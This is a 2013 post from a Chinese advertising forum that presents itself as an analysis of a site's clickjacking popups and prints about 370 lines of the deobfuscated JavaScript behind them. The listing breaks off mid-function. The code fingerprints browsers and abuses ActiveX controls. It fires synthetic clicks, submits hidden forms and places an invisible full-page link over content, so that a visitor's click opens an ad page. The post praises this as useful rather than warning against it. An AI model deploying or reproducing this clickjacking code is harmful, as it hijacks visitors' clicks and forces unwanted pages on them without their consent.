AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化⚡️E.PN 虚拟卡⚡️FB BM不限额,短id账单户BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)
FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)⚡️TikTok企业户,bm户,账单户提供TK企业新户老户、谷歌新户老户
PTM虚拟卡[全新卡BIN+高返点]FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量优质住宅/移动代理/高匿名/高性能
TK白名单老户|兼职广告可投⚡比特指纹浏览器+云手机, 4.5折起T3NZU:定义应用网盟新时代FB个人号源头服务商
寻找顶级电商?AdsBranded等你!TK老户/国内外端口/预审/加白广告位出租8500万高质量住宅IP,助力各种需求
虚拟卡返佣1%,国内持牌机构   
查看: 17370|回复: 17

[FACEBOOK] 国内也有牛人啊。很有用的。

[复制链接]

126

主题

62

广告币

394

积分

初级会员

Rank: 2

积分
394

社区QQ达人

发表于 2013-12-17 15:03:03 | 显示全部楼层 |阅读模式
HuiTong虚拟卡
天星网ClickJacking点击劫持分析
- j' ~+ C- z6 M& B* J+ zhttp://www.21tx.com/ 天星网
4 d' l% H/ H( U我得联系联系作者
  b* y. V$ N9 y# ^刚好打开这个站,发现第一次点击会弹窗,然后就不会,清除下COOKIE,又继续了,然后查看源代码,也没什么奇葩的。
2 z& s" B. O' j5 T; |http://www.lxting.com/script/popup/v1_min.js1 M' G2 P' P  J* I0 n5 U0 [

# P8 O3 L) i; O3 ?" n) S5 W; ~这个是锁定到底JS脚本,
0 h# X0 T7 O! z$ V$ K, L解密后的代码
  1. (function() { * D3 b8 p, U4 [5 A2 e: r
  2.     var aa_url = window.ytpp_url;
    * I2 H6 m# H$ c  i4 t: Q
  3.     var ua = navigator.userAgent; - V5 K/ ~7 @/ c0 i2 ^
  4.     var form_div = document.createElement('div');
    & q* B( K8 f7 I
  5.     var form_pd = 0; 1 t& q* l* A, b, H
  6.     var browser = {
    * ^9 T- z% D- s; F$ m3 J
  7.         ie: /msie/i.test(ua),
    , H9 S0 j6 I' V% h
  8.         ie6: /msie 6/i.test(ua),
    " o/ S2 \8 ^8 B' q
  9.         ie7: /msie 7/i.test(ua),
    ( n2 @! B  ?  ]) a& s
  10.         ie8: /msie 8/i.test(ua), $ X8 y, t" m, j: F
  11.         ie9: /msie 9/i.test(ua), % h1 r( @7 q/ i* h) `
  12.         360 : /360se/i.test(ua),   p# M& |+ P& C
  13.         sogou: /;?se.+?MetaSr/i.test(ua),
    7 O' Z/ }( Z% q5 A* ?) O: E0 U9 H
  14.         maxthon: /Maxthon/i.test(ua), ! B8 u% ?8 e- h$ ?, l; p% b* M
  15.         tt: /TencentTraveler/i.test(ua), % j  Z' y! y' ]0 b  u  s, a, l
  16.         ff: /firefox/i.test(ua), ) y) Q+ Q9 ]+ k# v0 S2 W% t
  17.         webkit: /AppleWebKit/i.test(ua),
    5 l6 c! z7 r& z3 N
  18.         opera: /Opera/i.test(ua), , r' y5 p; [" X& H+ E1 m' E5 G
  19.         qqbrowser: /QQBrowser/i.test(ua),
    3 o, I, X& {+ _7 m2 S. I/ U7 y. N- X
  20.         cr: /chrome/i.test(ua), / }& p7 }5 G! d; F, E6 T$ w
  21.         gg: window.chrome,
    9 o/ k5 X- x  R* l; \. ?6 `
  22.         theworld: /Theworld/i.test(ua)
    * j8 t* ^0 u( g
  23.     }; , V3 D9 F% U% x+ M& w% p, B
  24.     var _setting = ""; 4 h7 u/ W4 L+ V& E0 X
  25.     var _ct = 0; 9 r7 z5 m: O. V! A* g2 R
  26.     var _le = 0;
    , [& ^5 \; f4 k
  27.     var _pd = 1;
    ( u& N/ z) z, E# |3 k4 M7 r' {
  28.     var _pd2 = 0; - e, c9 E" k" G+ e) z" H
  29.     var _pc = 1;
    * O1 u# |/ A: a4 h2 t
  30.     var _pc2 = 1;
    , ?& b5 P% l9 [* Y; w  ?& N
  31.     var _pco = 0;
    9 Z4 b% n, @7 }6 x3 D
  32.     var _pta = 0; 0 t1 S% B" x  o* P9 r; `  @9 Z
  33.     var _ptb = 0; . q/ |& ?1 C/ ~; [
  34.     var _pt2a = 0;
    ! Q6 B/ n& |- s2 Q
  35.     var _pt2b = 0;
    ; S9 W3 Y# r  {$ ~
  36.     var _pt3a = 0; # u3 A, X; j0 u. W. Z
  37.     var _pt3b = 0;
    2 }  g( V2 X! ~
  38.     var _pt4a = 0;
    2 ~# S$ L* w( j' q. z
  39.     var _pt4b = 0;
    , I1 i; W( {* j2 ~' k/ a/ G
  40.     var _pt5a = 0; 5 ]% A/ ~9 O/ z  V6 X: m" W8 W
  41.     var _pt5b = 0; 3 I7 T- B/ E) c! ?3 X1 V' ?# Z
  42.     var _pt6a = 0;
    1 k9 s! ?# Q# s0 k4 K0 i
  43.     var _pt6b = 0; + H& x9 ?6 f1 p. W) v
  44.     var _pt7a = 0;   m6 _- P" a2 l2 l# k# K
  45.     var _pt7b = 0;
    0 T$ C: Q% h& x. G+ u3 F
  46.     var _pt8a = 0; : L  y6 w/ d+ `& z
  47.     var _pt8b = 0;
    7 \# C5 {- ~) N" }; Q0 G3 h
  48.     var _pt9a = 0; " K+ N, R& b# h! Q& x" l
  49.     var _pt9b = 0; # e# t! G3 D; c
  50.     var _pt10a = 0; 1 D2 d% \/ `, O1 _4 E
  51.     var _pt10b = 0;
    / D" {3 D" q; k
  52.     var _po = 0; 5 `6 {6 h" {/ V- R2 Y, ]6 i8 c# n( d7 Q
  53.     var _poo = 0;
    ) U1 n; @3 g0 {6 n. ?
  54.     var ckn, ckt;
    4 ?* p* F+ i" M+ q* U
  55.     var ads = 0;
    8 g' z# t& a6 D& i
  56.     function b(w) { " ^) ^5 E+ I- i( L4 W
  57.         var s = w + "="; ! \0 P7 Z) P2 |! `0 l8 F
  58.         var r = "";
    * o" S9 W' N2 K  N
  59.         var o = 0;
    2 }3 L- X7 ?$ V/ U  @
  60.         var d = 0;
    ! ^- R( Q0 |/ i* a2 p! L* w! n
  61.         var p = document.cookie; 7 P$ p( I9 G. B; |8 M
  62.         if (document.cookie.length > 0) { 3 j4 }9 ^. p$ K' z/ o2 J$ r
  63.             o = document.cookie.indexOf(s); + m7 f2 s1 s% e2 d/ b# t
  64.             if (o != -1) { $ Q: {' y: e6 ?) o$ F4 t% c3 {( \
  65.                 o += s.length;
    0 t; E# G' l" C: M' I) h0 N
  66.                 d = document.cookie.indexOf(";", o); 3 A& T" K, X" T5 t
  67.                 if (d == -1) d = document.cookie.length; - E$ H* ~( o3 K( v: d
  68.                 r = unescape(document.cookie.substring(o, d)) $ m! ~/ R# d2 w- x
  69.             } & t9 }6 L4 j, @  T; p
  70.         }
    ; W3 c7 D! D0 z& S
  71.         return r ) x9 j6 p7 ?3 |3 N' b* Y! j  r* Y
  72.     };
    . ^6 \$ r; f/ K# G- g6 e' w) w
  73.     function p(w, p, v) {
    ! E* J9 k# [9 h1 H. x$ s
  74.         var t = 30; 1 z+ U) F# Y7 F/ H2 @, m
  75.         try {
    . B( y* ]  w' H% I) ^
  76.             t = parseFloat(p) * 1 7 P% A. w" D9 j# k
  77.         } catch(e) { 4 C$ Z* Y+ A* L
  78.             t = 30
    ; Z7 w2 x# v& [& X  Z
  79.         } 2 c" v( k3 V% \5 x4 h" T
  80.         if (isNaN(t)) t = 30; ! F  j# s, m  c0 v
  81.         var then = new Date();
    6 Z# E, G+ P6 ^1 k# e# [
  82.         then.setTime(then.getTime() + t * 60 * 1000); 8 l% Z& [2 U! z" j5 c, |  ^% I2 \3 B
  83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'& ^1 Z5 a+ I3 o( g  r' k
  84.     };
    % G1 r6 m- e. G: A. ^5 a
  85.     function init() {
    # p4 \0 Y! i. p! ]
  86.         _setting = ytpp_sti;
    . Q8 p5 y5 Y/ N. i2 D
  87.         if (getp(_setting, "CT")) { 2 M, B/ U9 V0 }, {/ S
  88.             _ct = getp(_setting, "CT") 1 [2 o8 w/ C4 q6 P- v
  89.         }
    " ?' o9 S+ N5 @( w) W! g- Z; g
  90.         if (getp(_setting, "LE")) {
    3 _4 v8 d7 t+ S. k
  91.             _le = getp(_setting, "LE") 8 p  I" P) ^1 H) B8 _
  92.         } . h. n. P% h% x& p& ]' [4 T6 ^. Z
  93.         if (getp(_setting, "PD2")) {
    / ^; |3 M( K. l5 v  \0 l2 k2 v
  94.             _pd2 = getp(_setting, "PD2") 9 ^/ K: n# |* C- {% |6 H, @
  95.         } 7 H9 B1 O0 w) e3 Y5 k
  96.         if (getp(_setting, "PC2")) { 0 |- n$ H5 w5 R
  97.             _pc2 = getp(_setting, "PC2") 3 o. @1 |& Y1 w
  98.         }
    / W5 l! z& _8 E. w7 ?+ {6 |4 s
  99.         if (getp(_setting, "PCO")) {
    3 s* ^1 ?9 i, r! F* b& j. Q
  100.             _pco = getp(_setting, "PCO")
    3 b1 Z# Y1 I" \: q6 e6 y" u
  101.         }
    ; [" ?& e" N2 G6 K# s
  102.         for (var i = 1; i <= 10; i++) { " E5 Q0 ]" I3 a7 |
  103.             var n = i == 1 ? "": i;
    ( K: K. P) i  P; t0 F& b$ q
  104.             if (getp(_setting, "PT" + n)) {
    2 P8 [$ f6 K. y- X8 Y
  105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');"); - e9 k$ {' [: Y( k
  106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
    4 ]7 m+ x3 l+ X5 c! b8 ?* }
  107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
    . u* g# U, A0 l. _8 g6 {" K! G
  108.             }
    / n) ?2 j6 S3 y6 G/ Y
  109.         }
    ; @; Y' s9 ]- U- M* h
  110.         if (getp(_setting, "PO")) {
    9 k+ P6 S; Y4 t6 v$ u, S' j
  111.             _po = getp(_setting, "PO") 2 F# C4 j; u+ e! e7 N, _
  112.         }
    % K4 Q+ B: Z. K( U* B
  113.         if (getp(_setting, "POO")) { 9 C6 z. h, P7 L. }" k
  114.             _poo = getp(_setting, "POO") - y$ y- s/ l0 r0 A% R" \; q: N2 Y
  115.         } % N/ q0 `3 d& O6 ]4 n+ G5 g
  116.         if (_pco == 1 || _poo == 1) { & f! @/ P1 ]7 n7 z! C8 N! B1 ^) W
  117.             if (_poo == 1) {
    - I' K: [' z' A: X+ P! a/ _8 B- ?0 ?
  118.                 _pco = 0
    : i. @* N4 h' f4 U$ t% V1 h1 g
  119.             } else {
    - |4 T! ?7 |" C9 H& ~1 T2 ?) q
  120.                 _poo = 0
    : J8 b% d3 ]: q  c) G( `
  121.             }
    / }. r8 x0 X# L
  122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0; 7 ~# h# m3 b% A  a& k
  123.             for (var i = 2; i <= 10; i++) { 8 o# y% g* _7 g' {6 Z
  124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;") 8 k" D" `! s/ S; T
  125.             }
    7 ^& H4 K/ g2 k: p! a
  126.         } 4 D3 W9 T: w; i2 X0 W2 g# D& P2 N
  127.     };
    9 X3 J9 Q/ z" r& t! ]# E/ w
  128.     function getp(s, p) { 4 ~; r1 v* F4 F5 o
  129.         var i = s.indexOf(p + ":"); ) r/ N7 b4 ]' T% G0 a' K% W* u
  130.         if (i >= 0) { ! @/ l5 n+ m% x6 n
  131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1) $ k9 j: M2 x; [# M
  132.         } / I4 a0 T5 Y2 O
  133.     }; $ n( W$ Z; ]2 _0 ^
  134.     function event(e, event, func, act) {
    7 o6 }( e( w4 o. V
  135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func); 4 ^* Z# h! f) X5 Y7 c2 s
  136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
    / u4 m' i8 U4 Y
  137.     }
    ( y: Q& R" r2 V* t& e
  138.     function pop(url, param) { 9 A3 }9 Y$ h; b
  139.         if (!document.body) {
    . f7 F: T& _" k2 [( ~1 c
  140.             return setTimeout(function() {
    : d/ ]( R# o& w6 P
  141.                 pop(url, param) 6 c' Z9 M. }, O+ [1 `5 `( ~) M3 z
  142.             }, ; M" Q' G9 y' v* I. A# q5 M1 y6 v+ }" P
  143.             13)
    : S0 s% A# X+ R( _' s0 \* `
  144.         }
    1 E! W8 J$ ^! k# Z4 M  ~
  145.         try { 0 I0 k/ q, T. ?$ E
  146.             if (browser['cr'] && browser['gg']) { + c; c, E" @. g, r  ]+ |
  147.                 try {
    & ?+ t, B4 E0 \, o) [
  148.                     hrefopen(url)
    : l: ^' _4 b6 L% B; D
  149.                 } catch(e) { ! x- s. c  j7 A! U' ~" \" ~+ z
  150.                     a_pop(url) 5 }9 w+ R4 O' N6 P
  151.                 } " y+ a: q5 ?  a& o$ H4 Y, f/ O
  152.             } else if (browser['webkit'] && browser['maxthon']) {
    7 Y9 q- C+ y, d; V) @
  153.                 if (!func(url)) { ( V! p. l6 k) ^) W+ r
  154.                     try { * M5 l# |. |4 j$ `6 c" L2 B
  155.                         form_pop(url);
    ; ]2 u0 v- Q" o  g5 }- }
  156.                         a_pop(url)
      g! E. w# g: U5 c: B" |
  157.                     } catch(e) {}
    6 Y8 Q0 h& |+ ^% L' `
  158.                 } . B8 E  E/ _: U6 d4 p
  159.             } else if (browser['tt']) {
    " M/ P& }5 E/ u& t3 y' h8 Y* f
  160.                 try {
    % T! R' b  r- L2 v$ e
  161.                     object_pop(url)
    ' s' a9 H+ I# @& o: a
  162.                 } catch(e) {
    ) U' N6 Q& f6 Z+ z  R4 [
  163.                     a_pop(url) % |4 P4 D" J9 l' T1 Q, g
  164.                 }
    * n% v/ l9 g/ O/ O
  165.             } else if (browser['sogou']) {
    ' j9 X% i! V4 X
  166.                 if (!func(url)) {
    5 p: o' _- U$ x. n
  167.                     try {
    - x" v# ?1 x) \. C. b: w- e
  168.                         a_pop(url)
      e% f4 s5 i5 v$ h; z3 ?  n
  169.                     } catch(e) {} & q; M8 t& n3 Z3 h8 [* l" x
  170.                 } + I6 t3 W5 H4 }9 L# j, b) ^2 ?5 q" b
  171.             } else if (browser['webkit'] && browser['qqbrowser']) {
    ; d) [) l/ m: U3 e: p+ D3 A
  172.                 if (!func(url)) { 7 n7 O- h5 J* i: D: z6 w
  173.                     try { 0 E1 G6 _. q1 p0 w3 Q1 ]( U( V
  174.                         form_pop(url) . z+ w$ {  T9 i
  175.                     } catch(e) { & i$ b5 a. m* @* e3 B, |- z. s: \
  176.                         click_pop(url)
    8 p& x$ z0 |  M- D+ _# S
  177.                     } 8 Y6 Z3 y: A: R% q$ s9 |
  178.                 }
    . z( e, W$ s+ ?
  179.             } else if (browser['webkit'] || browser['opera']) {
    5 _$ x2 X+ T9 x+ |0 ]0 l+ L
  180.                 try { * K5 h9 ?  t; S2 C* V  `& I- m" I
  181.                     form_pop(url); ' Q5 G# s& ~0 l% x& ?' `0 c6 S! r
  182.                     a_pop(url)
    * T6 @  A# A/ f; u, f
  183.                 } catch(e) {}
    9 \( x$ s2 {& _8 R9 B
  184.             } else if (browser['theworld'] && browser.ie6) {
    + O# i; E& ]+ x1 a, n
  185.                 if (!object_pop2(url)) {
    2 ]" l  k/ ]% m6 E7 z
  186.                     a_pop(url) 4 z2 o% [. W; J9 C, t& S) p
  187.                 } 4 v8 L' C  \; R
  188.             } else if (browser['theworld'] && browser.ie8) { % N5 m" q; `2 B2 A+ P) m
  189.                 if (!func(url)) {
    3 h: ?/ X) O# \- U
  190.                     try {
    + q) z1 n9 n0 u9 M
  191.                         object_pop(url)
    * q9 H6 u# T) ?8 j0 v2 B1 H. d
  192.                     } catch(e) { ' B. v* f2 {/ g: t, B
  193.                         click_pop(url) / t* d. n2 V- g" n$ D: t, n
  194.                     }
    & I0 H; U6 G9 t- c' E
  195.                 }
    % v( h1 J; C% R
  196.             } else if (browser.ie6) {
    ) H4 f; O% G! ^/ S3 u' Z1 L( O: U8 o
  197.                 if (!func(url)) {
    2 o3 u6 {% j- W9 R* C
  198.                     object_pop2(url)   E. r; Z( r% ^& ]# Q7 `
  199.                 }
    9 s& h; U, a' E- Z; R6 M; A# I
  200.             } else if (browser.ie8) {
    ; z, \8 t6 l8 ^& ]& B# T
  201.                 if (!func(url)) {
    ; l; f0 B* y7 }! ^0 b
  202.                     try { 4 H1 D" S! O( Y$ Y" A3 r) r7 F7 w
  203.                         object_pop(url) , O+ e8 G4 P' {  `" [
  204.                     } catch(e) { 6 \$ B7 I% i0 N' v" o* D! Z0 e) u2 R
  205.                         document.onclick = function() { 3 v4 l/ H5 T& o2 V$ M; ~1 }
  206.                             func(url);
    0 b8 f, g) ~7 ]; y  X1 K
  207.                             document.onclick = null
    2 R  }5 \; @( L, I
  208.                         }
    & n3 s6 s+ s) |
  209.                     }
    0 F# q  Y. R$ i8 U' [, {2 ~
  210.                 }
    " W$ g9 ~7 q- ~) D: W
  211.             } else if (browser['ie']) { ; \0 }# S2 O& \6 D$ ^, H
  212.                 try { 7 r* P  I6 K2 s9 j7 F4 @1 e
  213.                     object_pop(url)
    4 w% x  p/ _2 q0 l( M% L/ c  ]$ L' k
  214.                 } catch(e) { 1 j* h2 b; h$ @1 P
  215.                     click_pop(url)
    ( h1 Y4 Y/ B6 k$ A) L8 Z9 m
  216.                 }
    : y% N3 Y6 J. P- F+ d' c3 ^
  217.             } else if (browser['ff']) {
    ( p) p  Z8 }6 z! E9 E2 Q
  218.                 if (!func(url)) {
    , b9 g/ c4 \( w# s* c: M
  219.                     click_pop(url)
    ' E8 \9 ?5 K4 N, T+ A1 A
  220.                 }
    2 O2 {1 I( H; A" Q, w
  221.             } else {
    : c( L# s9 x6 B' K7 Z
  222.                 if (!func(url)) { ) F1 E, W- d# F9 {" d  J) h7 D' x
  223.                     click_pop(url) 6 b. V9 M$ J( M8 |
  224.                 } + B8 ?+ [% e4 W  a3 C
  225.             }
    ; Q) F: m/ i6 v+ X5 i2 u
  226.         } catch(e) {   \4 `: B; S: g: W/ A4 Z& l
  227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) { % {7 F  r. @" y) l' w4 X
  228.                 click_pop(url)
    3 F+ x/ S. N4 g# E! P- I2 z
  229.             } else {
    5 t" ~2 z9 U1 s7 ], U' n: x7 b
  230.                 a_pop(url) 2 Y+ ]9 _' g7 p$ M$ U- Q0 M
  231.             } # D; Q0 w. N* m; N
  232.         }
    & A+ P: Y: y+ o& v
  233.     } " T3 q9 b2 Y" y
  234.     function object_pop(url, param) { 4 i1 C* K  n# d2 L2 T& @9 Z4 {% b) w
  235.         var object = document.createElement('object');
    0 ?+ o3 X! E4 Q+ m5 x# r( B8 F
  236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6'); ' U8 `, D: W1 T2 s) T: y( U
  237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
    2 X0 j1 B7 ]4 U& O; x( H
  238.         append(object); * e5 u2 }% N- ]& N$ ?7 W. |9 H# |
  239.         object.launchURL(url); # i' j6 y) F- I
  240.         ads++;
    5 @& `. t% k: R% v5 o/ N. k
  241.         p(ckn, ckt, ads) ) ~8 d1 |! v3 o- B6 Z( ~% q
  242.     }
    2 e: o' K9 d1 K3 I5 F" Z+ r  X
  243.     function object_pop2(url, param) { % q9 ]& v# i: X' _2 {0 I
  244.         var object2 = document.createElement('object'); ( [; y+ Q; r; U* G: V* |
  245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A'); * h' I4 C1 t% l. T( c3 D; k
  246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';   ]9 h+ f& e% ^
  247.         append(object2);
    / p/ q: L2 b( s# R" Q: {7 k: W
  248.         for (var i in object2) {
    ) J6 r3 B  V) x' z
  249.             try { (function(o) {})(object2[i])
    5 F7 B2 l( H- j* s  t# k
  250.             } catch(e) {} 5 u6 d6 f6 x' ]' v# b
  251.         } # r0 |' F/ D; \' Z/ N2 X/ L. [
  252.         setTimeout(function() {
    & h; G7 Q( P! s, s+ j
  253.             object2.DOM.Script.open(url, '_blank', '') 6 k+ z" ~$ L+ Z7 ^+ z
  254.         },
    2 B' t8 A/ H: E4 r! C6 R
  255.         500);
    : M3 m' N$ d/ k. [* e3 G& J7 F! a$ I
  256.         ads++; ' h; l* A' f2 T2 v  T) l. y0 l
  257.         p(ckn, ckt, ads)
    ; P% X0 \# }) C1 Q% P' r
  258.     }
    8 R$ J% D: m( P. F
  259.     function append(e) { , c7 I! [" U" y# V6 J
  260.         for (var t in { : t% Q. [0 Q$ q( z1 d4 v( w* s
  261.             body: 1 8 C7 w" v" s2 X" }1 A4 Q
  262.         }) {
    + M9 v; `% ^' m: ~; z
  263.             var ele = document.getElementsByTagName(t); 5 M8 I, E7 ]0 ~: X0 E3 p
  264.             for (var i = 0; i < ele.length; i++) { : ?  t, U) ^$ R" Q$ ]3 R; U
  265.                 ele[i].insertBefore(e, ele[i].firstChild); % e  p- G+ B) t. D* _# A/ w4 R
  266.                 return
    2 d9 i5 D7 [$ A" l. X# l
  267.             }
    : ?. s: P. ]3 x; o; H
  268.         } 3 e, a  ~6 V6 s: O( S( e" ?+ Y
  269.     }
    $ w" ?! E( f/ k8 F$ J. ^* {! d
  270.     function hrefopen(url) {
    0 C0 n# a8 V- }' D" C
  271.         try {
    % s' V( x# I7 a/ O( G. |) d% ~
  272.             var c = document.createElement("a");
      U2 z0 B8 W& r" o" E
  273.             c.setAttribute("href", url);
    * Z; \7 t3 V  Q' P- }# b9 X- Q
  274.             c.setAttribute("target", "_blank"); - P! H) c: t; n7 s) ~
  275.             c.setAttribute("style", "display:none;");
    ; N6 m6 _+ d6 {. d3 U; @* c2 ~6 F
  276.             var b = document.createEvent("MouseEvents");
    + B! o7 G9 n6 o- Q, S% w  k
  277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
    5 u# o% u8 c5 S) L& r( x8 U: \# a
  278.             c.dispatchEvent(b);
    / m( y3 C4 s8 f9 S- F$ r  x
  279.             ads++; ) p  t- Z- V9 u3 H; R$ o4 `0 @
  280.             p(ckn, ckt, ads); 9 S1 S7 n" M3 ~- ]+ O2 q
  281.             return true
    - E* v8 v+ |$ g7 l
  282.         } catch(q) {
      ]/ a) A& t" F, o. h0 x- X
  283.             return false
    2 u. U' i! J; d7 U# [# Y
  284.         }
    ( k# t% r7 B: r, \" T, [, b$ M
  285.     } " b  K* ^, k, s8 V8 ]0 s! l
  286.     function form_pop(url) {
    ; x: i: D" z" A( d+ |
  287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__'); + a% @* k1 U) I( }4 Y
  288.         form_div.setAttribute('style', 'display:none'); ) P5 v6 I* n* t! k  D
  289.         var form = document.createElement('form');
    7 k; i6 u( ~" w/ u9 \3 a
  290.         form.setAttribute('action', aa_url); $ m: P1 \! E0 k7 |; g
  291.         form.setAttribute('method', 'post');
    ' E2 n4 W* o5 l& H: a4 q
  292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
    * E' U$ i4 O( Q( y* ^- O5 l
  293.         form.setAttribute('target', '_blank');
    ) p  @/ W, ?; T# ]6 A: x5 m) D
  294.         form.setAttribute('style', 'display:none'); 7 w5 S( o$ r& j! g  L
  295.         var sinput = document.createElement('input');
    ! z  d# w: |2 k0 t' M7 \
  296.         sinput.setAttribute('style', 'display:none'); ) W& O0 U' E3 [8 z* |6 U
  297.         sinput.setAttribute('type', 'submit');
      s/ n# h' \, U9 ^8 y, E0 Z& ~
  298.         sinput.setAttribute('id', '_sumit_2app'); 8 W# ~4 L3 a5 @# z
  299.         form.appendChild(sinput);
    9 J/ V3 ^2 K* M! c2 A; H
  300.         form_div.appendChild(form); - [9 ~3 p( Z% A
  301.         append(form_div);
    : C7 [6 |$ V4 ^6 Q5 h8 ]
  302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
    / f8 E7 _% p, v* ?$ u* c4 e1 k
  303.         try { 7 q$ u7 Z( \1 D- @( z. K* U8 c# J) ?; R
  304.             document.getElementById("_sumit_2app").click()
    - G& Z, i3 k8 N! w9 B9 |  j
  305.         } catch(e) {   J7 \3 M# V/ [/ [
  306.             event(document, 'keyup', + n) Y+ c* v* c2 v* U1 ^
  307.             function(e) {
    " J% t+ y3 S: K
  308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
    ! }4 z' C- k% P$ I* {! ?. v/ Q7 p
  309.                     return* [& S7 n7 z' {9 Y7 b2 \
  310.                 };
    0 u7 O/ v" Q+ E, j$ n
  311.                 e = e || window.event; 0 U' D4 a+ l* J$ f" @
  312.                 e.canceBubble = true;
    - f' W3 n: _* [+ }. @! N
  313.                 event(document, 'keyup', arguments.callee, true); 8 k4 Q- b* q0 x" J1 Z3 r1 F# a) q
  314.                 form_pd = 1; . @. r& W; ]1 {; i1 q+ o% i9 X
  315.                 unionsky_from.submit()
    " L" @7 c; U3 t2 Z5 M- j
  316.             })
    / V0 z4 j1 {! u2 z$ D& ^2 O! W3 J
  317.         } ' X  |. D. ?- y( w/ I2 X
  318.     }; 3 T  q- f( Q  u! E
  319.     function click_pop(url, param) {
    4 \7 @" Z7 D, e
  320.         event(document, 'mouseup',
    0 s6 `( j8 O% J2 j& @
  321.         function(e) {
    6 m& F0 b" ?7 K9 c
  322.             e = e || window.event;
    4 E% r2 I9 T# [2 f! w- u
  323.             e.canceBubble = true;
    - @* k! ]6 x" I
  324.             event(document, 'mouseup', arguments.callee, true); 6 \0 y$ M. D9 g# a$ D
  325.             func(url, param); " D+ R# z* ^( z2 b
  326.             ads++; 8 h; F3 l# a6 C/ c. s% ]+ J
  327.             p(ckn, ckt, ads) 1 E5 c/ g2 Y1 f' X7 F: ~
  328.         }) 8 n* }0 H% \* P5 d1 h
  329.     }; - R2 C9 q- \# {) g8 N: ]6 c
  330.     function a_pop(url) {
    1 m7 u3 d$ b7 M# ^$ ]8 o
  331.         if (ytpp_plid == 166028) { ; ?: g' _9 n  l. @9 h4 V4 n
  332.             return
    ' Q+ ]+ X) q$ l" w- B
  333.         }
    , ]9 Q7 f6 q+ J/ h+ }
  334.         if (!document.body) { 4 y+ ~+ g# k$ e6 H
  335.             return setTimeout(function() {
    ) _- u, U& b% u
  336.                 a_pop(url) : Z3 J% O7 K$ j
  337.             }, 8 |( A+ R6 G7 l8 R# V& E
  338.             13)
    7 H6 t$ z7 v. T) t) O* M) U2 i
  339.         } 6 ?1 |+ l! R. c. T. x- |
  340.         var a = document.createElement("a");
    ( \; Q5 x" B" r1 K$ k
  341.         a.href = url;
    9 q/ s$ h/ V/ t4 ?& }5 M5 @% f
  342.         a.target = "_blank";
    - }+ l- @) S! M' `' N) F
  343.         var div = document.createElement('div'); % P3 s# u& \) B9 h- _7 \
  344.         div.style.backgroundColor = '#fff';
    7 u0 u# C0 E7 P3 U1 G
  345.         a.appendChild(div); . N% S1 s  D1 Y' G; Q4 K7 m
  346.         append(a);
    4 i* M: g4 m  K3 D# E: m# P0 K* T
  347.         var as = a.style; : F& ~% r( x, H( G& R" s  C
  348.         as.position = "absolute";
    & M) w2 K. a; N9 a4 v
  349.         as.zIndex = '2147483647';
    & c5 F- @  I( i# P; e7 E
  350.         as.display = "block"; . R6 F1 j) L- h' a/ a9 Y: A/ w
  351.         as.top = "0px";
    $ O5 W  _8 J8 V0 Y! B$ N& h, C* q' x
  352.         as.left = "0px"; / T# P$ {& g' I. a3 |& N
  353.         as.cursor = 'default'; ' G* f. }% F/ J- s9 I5 Q' f
  354.         as.opacity = "0";
    ) T+ ^/ B* ]% n1 j1 r; b( ?5 c  Q8 v3 K
  355.         as.filter = "alpha(opacity:0)"; " G( h3 f" i1 ^
  356.         var m = setInterval(function() { 0 V5 C7 H1 F: I
  357.             if (form_pd == 1) { ( y" G0 H4 {6 V$ g
  358.                 a.parentNode.removeChild(a);
    . e; Y# J2 a+ Q  {
  359.                 clearInterval(m); / Q9 e6 g. F+ X  Y' |- y
  360.                 return
    ( I. W/ m# ?1 y
  361.             }
    3 x; H/ N7 U& W; t3 C2 B
  362.             a.style.zIndex = '2147483647';
    4 u7 \! e1 m' \4 O4 o; L$ S( H
  363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
    & H6 R3 f3 r1 w) S8 D# `
  364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
    ( h; f" I9 ]9 ~% X8 f
  365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px'; 2 \4 L/ h: O+ x) K6 ~5 B' o
  366.             div.style.height = d.clientHeight + 'px';
    ' {+ p7 ~' p0 ^! q
  367.             if (browser['ie']) { + q' z: \: i( m# V
  368.                 try {
    $ t1 E5 J" z3 `5 p3 P+ z$ G
  369.                     var divs = document.body.childNodes;
    ; i9 N3 G5 L' y
  370.                     for (var i = 0; i < divs.length; i++) {
